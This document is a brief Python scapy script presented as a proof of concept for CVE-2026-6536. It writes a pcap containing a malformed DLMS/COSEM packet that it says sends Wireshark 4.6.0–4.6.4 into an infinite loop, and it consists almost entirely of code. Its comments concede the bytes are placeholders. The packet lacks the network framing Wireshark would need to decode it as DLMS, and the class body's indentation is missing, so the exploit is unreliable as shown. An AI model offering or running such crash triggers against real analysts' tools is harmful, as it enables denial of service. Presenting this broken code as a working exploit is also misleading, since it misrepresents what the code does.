The following code is for security research and authorized testing only.
python
import scapy.all as scapy
from scapy.packet import Packet
from scapy.fields import ByteField, IntField
# Define a malformed DLMS/COSEM packet structure for testing
# This is a generic PoC structure to simulate the trigger.
# Actual trigger bytes may vary based on specific vulnerability disclosure.
class MalformedDLMS(Packet):
name = "Malformed DLMS"
fields_desc = [
ByteField("tag", 0x00),
IntField("length", 0xFFFFFFFF), # Abnormal length causing potential loop
ByteField("data", 0x00)
]
# Create the packet
packet = MalformedDLMS(tag=0x01, length=0x7FFFFFFF, data=0x02)
# Save to pcap file
scapy.wrpcap("cve_2026_6536_poc.pcap", packet)
print("PoC file generated: cve_2026_6536_poc.pcap")
print("Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the infinite loop.")